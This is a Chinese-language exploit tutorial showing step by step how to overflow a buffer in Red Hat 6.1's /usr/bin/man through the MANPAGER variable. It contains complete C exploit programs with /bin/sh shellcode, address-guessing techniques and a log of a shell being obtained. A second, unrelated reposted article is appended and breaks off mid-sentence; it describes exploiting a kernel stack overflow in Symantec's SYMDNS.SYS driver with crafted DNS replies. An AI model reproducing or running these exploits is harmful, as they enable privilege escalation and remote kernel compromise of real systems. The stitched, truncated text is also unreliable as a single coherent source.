标题：一次完整的缓冲区溢出攻击分析
主页：http://www.isbase.com
作者：warning3 < mailto: warning3@isbase.com >
小四 < mailto: scz@isbase.com >
日期：2000-05-16
前言：
本文描述了一次完整的缓冲区溢出攻击，是从理论走向实践的逐步演练。
测试：
Linux redhat-6.1 2.2.12-20 i386
目录：
1. 简介
2. 问题描述
3. 攻击思路
4. 攻击第一步，猜测确定几个关键地址
(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口
(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可
执行的区域地址
(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址
(4) 猜测确定问题缓冲区溢出点
5. 编写针对不可执行堆栈环境的溢出攻击程序
6. 一个辅助观察execle()之后内存布局的小程序
7. 编写针对常规环境下的溢出攻击程序
8. 关于core文件以及确定溢出点
9. 总结
1. 简介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit，下载回来后，直接编译运行，并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的，而我测试的主机
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可
以用于"常规"环境，所以就此次攻击做一完整描述，抛砖引玉，见笑。
2. 问题描述
/usr/bin/man 会使用 MANPAGER 环境变量，关于这个变量的细节请 man man 查看。
当 MANPAGER 变量设置成超长字符串时，会导致 /usr/bin/man 执行中缓冲区溢出。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu+10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意这里就是 MANPAGER 变量
注意到命令最后通过管道符'|'传递给了 MANPAGER 变量所指定的程序。
我们重复类似的操作，不断加大 MANPAGER 变量的长度，直到发生溢出。用"二分法"
较快地确定出当长度最小为 3945 时，缓冲区溢出并导致段错误。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu+10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 这里已经出现段错误，通常是指针操作访问非法地
[scz@ /home/scz/src]> 址造成，很可能某个函数的返回地址已经被覆盖掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常
3. 攻击思路
姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中，由于未做
边界检查导致溢出，并覆盖了某个函数的返回地址。显然，覆盖值来自 MANPAGER 变
量的值，换句话说，用于覆盖的返回地址来自 MANPAGER 变量的值。
在"常规"环境下，理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及
shellcode本身，因为3945大小的缓冲区已经足以做任何事情，也可以仅仅通过
MANPAGER 变量传递用于覆盖的返回地址，利用其他自定义环境变量传递shellcode。
在不可执行堆栈环境下，上述两种传递shellcode的办法都因为shellcode位于堆栈高
区，无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中
的<< 绕过Linux不可执行堆栈保护方法浅析 >>，具体的技术原理不再赘述。
Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是，用于覆盖的返回地址指
向 strcpy() 函数的 PLT 入口(过程链接表入口)，同时在堆栈中利用 MANPAGER 变
量的缓冲区溢出，伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。
shellcode采用自定义环境变量的技术传递进入堆栈高区，因为使用了 execle() 函
数调用，该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定，很容易猜
测调整。当返回地址被成功覆盖后，程序流程随着问题函数的返回而转向一个
strcpy() 函数调用，strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环
境变量区(堆栈高区)拷贝到另外一个区域，这个区域要求在不可执行堆栈环境下依旧
可写可执行，该区域必须在 /usr/bin/man 进程的地址空间内。显然，这个区域的地
址需要提前猜测确定，因为该区域的地址作为 strcpy() 函数调用的目标地址，必须
在伪造假栈帧时提供，后面我们会介绍猜测确定该区域地址的技术手段。
至于 strcpy() 函数调用完成，我们的shellcode已经进入可执行区域，流程又是如
何转向我们自己的shellcode，请参看tt在绿盟网络安全月刊第8期中的
<< 绕过Linux不可执行堆栈保护方法浅析 >>，内有图示，我看得头都快白了，总算
理解，chat* sigh。
从上面的攻击思路分析中完全可以看出，Lam3rZ 小组的 Kil3r 的攻击手段适用范围
要广些，所以我们先采用这种技术完成一次攻击。
4. 攻击第一步，猜测确定几个关键地址
(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------
因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中，我们需要确定的 strcpy()
函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口
和 /usr/bin/man 文件二进制映像有关，对于某个确定的elf格式的程序文件，该
入口相对固定。
(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区
域地址
[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls
[scz@ /home/scz/src]> jobs
[1]+ Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>
这个区域显示的是可读写，并没有可执行，但实际是可执行的。我们挑选一个处在4
字节对齐边界上的地址，将来shellcode最终被拷贝到该地址并在该地址上开始执行。
#define SHELLCODETARGET 0x0805010c
注意，这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中，所以不得出现
零值。我当时挑选了 0x08050100 ，结果总是不能正确溢出，后来才想起这个毛病所
在。
我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址，而直接使用
strcpy() 函数的 GOT 入口(全局偏移表入口)地址。
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy+6> : push $0x1d8 <-- -- -- 动态链接器使用
0x80490ef <strcpy+11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used+11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT
显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为
目标地址，会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码，使用
STRCPYGOT 的时候还没有发生字符串拷贝，换句话说，发生字符串拷贝的时候已经无
所谓 STRCPYGOT 处是什么内容了，反正我们的shellcode是不会使用 strcpy() 函数
的。要是还不放心，就不要直接使用 STRCPYGOT 作为目标地址，而使用 STRCPYGOT
+ 4 作为目标地址，只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函
数的入口地址，反正都无所谓。
(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址
下面的讨论基于一个假设，你已经明白elf文件的内存布局。我们需要通过环境变量
传递shellcode进入 /usr/bin/man 的进程空间，strcpy() 使用这里的shellcode作
为拷贝源。猜测确定拷贝源地址是必须的。
#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的'\0'。如果担心不够精
确，可以在shellcode的前部增加 NOP 指令。
上面的技术适用于i386/Linux平台，对于SPARC/Solaris平台这样相对复杂的情况，
还可以采用辅助程序观察execle()之后的内存布局，我们在条目6中介绍。
(4) 猜测确定问题缓冲区溢出点
实际上攻击从问题描述就已经开始了，发现问题的同时就开始了攻击过程，问题缓冲
区溢出点显然可以从 3945 + 9 = 3954 附近考虑。但是，不知道什么缘故，居然无
法得到core文件，也就无法深入调试，最后只好参看 Kil3r 的exploit code，发现
他使用的溢出点在4067，因为没有core文件，无法确定发生了什么，为什么3954已经
开始溢出，但真正有效溢出点却在4067，中间相差这么多字节，没有core的日子真难
过。
#define VULPOINT 4067
5. 编写针对不可执行堆栈环境的溢出攻击程序
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define
        STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE (
        0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define
        VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define
        SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define
        FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long *
        pointer;
u_long vulPoint = VULPOINT;
u_long
        vulBufSize = VULPOINT + SAFEPADLEN;
  fprintf( stderr, "Usage: %s [ vulPoint
        ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint + SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf(
        stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD,
        vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf + vulPoint );
*pointer++ =
        RETADDRESS;
*pointer++ = SHELLCODETARGET;
*pointer++ = SHELLCODETARGET;
*pointer++ = SHELLCODESOURCE;
  memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL,
        env );
free( vulbuf );
return( SUCCESS );
} /*
        end of main */
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
这里根本没有使用传统的 get_esp() 函数，而且这个exploit code适用于常规环境。
但是这种溢出攻击技术，需要精确覆盖返回地址，并且无法采用传统的大段返回地址
覆盖一片区域的方式，因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到，实际上我们现在唯一需要调整的就是溢出点，可以考虑暴力猜测调整溢出点。再
就是，这次关键没有core dump出现，一般都有core dump，那样的话就可以不用暴力
猜测调整了。
我还碰到一个问题，该exploit code在SecureCRT或者CRT下执行都无法取得shell，
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell，原因未明。建议
如果实在无法取得shell，考虑换个终端工具试试(tt胡言乱语)，faint
6. 一个辅助观察execle()之后内存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256
void outputBinary ( const unsigned char *
        byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu
        bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <=
        0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k
        > 0; k--, offset += 16 )
{
fprintf(
        stderr, "%08X ", offset );
for ( j = 0; j <
        16; j++, i++ )
{
if ( j == 8 )
{
fprintf(
        stderr, "-%02X", byteArray );
}
else
{
fprintf(
        stderr, " %02X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j++, i++ )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= '
        ' ) && ( byteArray <= 255 ) )
{
fprintf(
        stderr, "%c", byteArray );
}
else
{
fprintf(
        stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "%08X ", offset );
for ( j = 0 ; j < k; j++, i++ )
{
if ( j == 8 )
{
fprintf( stderr, "-%02X",
        byteArray );
}
else
{
fprintf( stderr, " %02X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0;
        j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0;
        j < k; j++, i++ )
{
if ( (
        byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n"
        );
return;
} /* end of outputBinary */
int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t
        envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16进制 */
envData = (
        u_char * )strtoul( argv[1], NULL, 16 );
if ( argc
        > 2 )
{
/* 采用10进制 */
envDataLen = ( size_t
        )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n",
        argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return(
        SUCCESS );
} /* end of main */
程序很简单，就是显示一段内存映像。我们所要做的，就是把exploit code里的几个
地方修改一下：
#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
这样观察得到的shellcode源地址显然不适用，因为这里的./ev和/usr/bin/man长度
不一样，熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下：
cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。
这种技术手段适用于SPARC/Solaris平台，我们利用它可以确定很多关键性地址，可
以调整那些需要n字节边界对齐的地方。
7. 编写针对常规环境下的溢出攻击程序
--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define VULPROGRAM "/usr/bin/man"
#define
        VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define
        FAILURE -1
#define OFFSET 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, %eax
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT + 5 ];
memset( vulbuf, NOP, VULPOINT + 5 );
memcpy( vulbuf + VULPOINT - ( strlen( shellcode ) + 20 ),
shellcode, strlen( shellcode ) );
  retAddress = get_esp() + OFFSET;
pointer = ( u_long * )( vulbuf + VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress =
        0x%08x\n", retAddress );
  memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT + 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM,
        "ls", NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
在调试这个程序的时候，我们发现 MANPAGER 环境变量值长度在某个地方被检查过，
只是这个检查对于溢出攻击取得shell并没有起到保护作用。
为什么这里定义 OFFSET 为2000呢，可以采用条目6中的办法来观察一下execle()之
后环境变量区里的内容，简单修改如下：
--------------------------------------------------------------------------
#define VULPROGRAM "./usrbin_man"
... ...
execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
偏移为2000的时候返回地址落在NOP区内。那么溢出点4067呢？没办法，还是从前一
个程序里直接获知的，有core dump的时候可以调试确定。
8. 关于core文件以及确定溢出点
以前知道一点产生core dump的条件，但感受不深，今天都快要结束本篇灌水了，才
真正感受了一下。
我拷贝了一个/usr/bin/man到当前目录~scz/src下，然后定义问题程序为./man，此
时以scz用户身份运行exploit code，故意不正确覆盖返回地址，立即得到
core dump。
后来又以root身份在几个不同的当前目录下测试不同的组合情况，有些时候会得到
core dump，有些时候只报告段溢出。core文件是内存映像文件，与产生它的进程密
切相关，而产生进程对应硬盘文件的属主、权限以及当前执行它的用户身份都与是否
产生core dump有关。情况虽然很复杂很多，但至少有一点可以肯定，如果包括
exploit code和问题程序在内的的所有文件都是当前用户所有，段溢出时一般都会
core dump在当前目录下。对于上面的/usr/bin/man，我们完全可以调试./man找到
溢出点。此外需要提醒的是，如果希望得到正确的core dump，一定要先删除当前目
录下已经存在的core文件。
之所以这样限制core dump，应该有其安全方面的考虑。下面我们来简单看看如何确
定./man的溢出点。
--------------------------------------------------------------------------
/*
* gcc -o ex_man ex_man.c
*
* 目的就是产生core dump
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#define VULPROGRAM "./man"
#define PAD_1
        'A'
#define PAD_2 'B'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf = NULL;
char * env[2];
u_long vulbufSize;
if ( argc != 2 )
{
fprintf( stderr, "Usage: %s
        <vulbufSize>\n", argv[0] );
return( FAILURE
        );
}
vulbufSize = strtoul( argv[1], NULL, 10 );
vulbuf = ( char * )malloc( vulbufSize );
if (
        vulbuf == NULL )
{
fprintf( stderr,
        "Can't allocate memory %lu bytes\n", vulbufSize );
return( FAILURE );
}
memset( vulbuf, PAD_1, vulbufSize );
vulbuf[ vulbufSize - 5 ]
        = PAD_2;
vulbuf[ vulbufSize - 4 ] = PAD_2;
vulbuf[
        vulbufSize - 3 ] = PAD_2;
vulbuf[ vulbufSize - 2 ] = PAD_2;
vulbuf[ vulbufSize - 1 ] = '\0';
memcpy( vulbuf,
        "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /home/scz/src]> ./ex_man 5000
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
说明5000已经导致返回地址被覆盖成0x41414141，考虑减小该值。重复类似步骤，直
到发现4063仍未溢出，4064开始溢出，并core dump。
[scz@ /home/scz/src]> ./ex_man 4063
[scz@ /home/scz/src]> ./ex_man 4064
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4065
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
Core was generated by `./man ls'.
Program terminated with signal 11, Segmentation fault.
#0 0x0 in ?? ()
(gdb) bt
#0 0x0 in ?? ()
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4066
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0xbf004236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4067
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0x424236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4068
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
#1 0x807d948 in ?? ()
Cannot access memory at address 0x42424242.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4069
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8040042 in ?? ()
(gdb) bt
#0 0x8040042 in ?? ()
Cannot access memory at address 0x42424241.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4070
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8004242 in ?? ()
(gdb) bt
#0 0x8004242 in ?? ()
Cannot access memory at address 0x42424141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4071
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424242 in ?? ()
(gdb) bt
#0 0x424242 in ?? ()
Cannot access memory at address 0x42414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4072
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4073
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424241 in ?? ()
(gdb) bt
#0 0x42424241 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
在从4064到4073的分析观察过程中，我们显然已经看到，当取值4072的时候会覆盖一
个函数指针还是返回地址什么的，总之是个会导致控制流转移的4字节。注意到我们
测试程序中代码，溢出点应该在 4072 - 5 = 4067。至此，猜测确定溢出点的工作完
成了。至于为什么通过execle()执行和通过命令行shell执行时溢出点相差较远，我
也不清楚。看来以后确定溢出点，直接用程序猜测确定要准确些。
core文件的好处很多，这里仅仅列举了一种应用。以后看到core我就要看看什么宝贝
其中，说不好一个shadow就来了。grin
9. 总结
a) 可以利用条目6的办法观察execle()之后环境变量区内容，确定很多地址。
b) 无法溢出取得shell的时候尝试换个终端登录工具。
c) 没有core dump，你就去死吧。一定要想法得到core文件，进而调试确定问题程序
溢出点。得不到core时仔细检查相关文件权限以及当前用户身份。


[转载]SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结

文章作者：SoBeIt
原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔，，因为写得仓促，里面难免有不少错漏，朋友建议我汇总一下，也方便日后参考，于是把两篇文章汇总并做了些修改。
这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中，当处理DNS答复时，由于未检验总域名长度，导致可以输入一超长域名导致溢出，溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。
一个DNS报文格式如下：
"xEBx0B" //报文ID，可以随意设置，但在这个漏洞里是别有用途的，后面会说到
"x80x00" //报文FLAG，15位置1表示这是一个答复报文
"x00x01" //问题数量
"x00x01" //答复数量
"xXXxXX" //授权资源记录数，在这里不重要，随便设置
"xXXxXX" //格外信息资源记录数，在这里不重要，随便设置
以上部分为DNS报文头
"xXXxXXx..." //域名，格式为每个分段域名长度+域名内容，比如www.buaa.edu.cn就是
x03x77x77x77x04x62x75x61x61x03x65x64x75x02x63x6ex00
w w w b u a a e d u c n
x00表示到了末尾。处理的时候会把那长度记录数换成0x2e，就是"."，就完成了处理。
在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处，这个函数在堆栈里分配了0x214个字节空间，再将域名拷入，虽然会计算总长度并做限制，但由于计算错误，算了也是白算，导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制，不能超过0x40个字节，所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后，覆盖了该函数的返回地址。这个漏洞有个特点，就是在堆栈中二次处理传入的域名，导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法：
一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址，是一个在非分页池的地址，
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧？虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址，但我们可以变通一下，使用诸如pop/pop/pop/ret这样的指令组合，机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp，不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧？xEBx0B是一个直接跳转的机器指令，跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节，但0x3f对应的指令是aas，对EAX进行ascii调整，所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分，可以省下不少字节^_^。
二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE，返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法，可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分，可以执行接近200个字节，再跳到返回地址后的SHELLCODE部分执行，这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e，0x2e不单独对应机器码，所以只能在每个SHELLCODE段的最后部分改成xebx01跳过0x2e。
在安全返回法里，由于要取出堆栈里后面函数的返回地址，不能覆盖太多，只能使用第一种方法在池中执行SHELLCDOE，安全返回法的内核态SHELLCODE只有230个字节左右，池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大，所以可以在堆栈中执行。
安全返回法
现在当前环境是0号进程，要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别，就是该进程基本不挂在所有进程的链表上，比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks，正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程，这样很麻烦而且代码很长，但天无绝人之路，在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址，由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址，而且8号进程是挂在除SessionProcessLinks之外的其它链表上的，所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间，从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值，结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE，这个选择很重要，因为当前IRQL = 2，任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误，因为缺页会导致页面I/O，最后会在对象上等待，这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统，当一个线程等待过久就会导致该线程的内核堆栈被换出内存，这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte 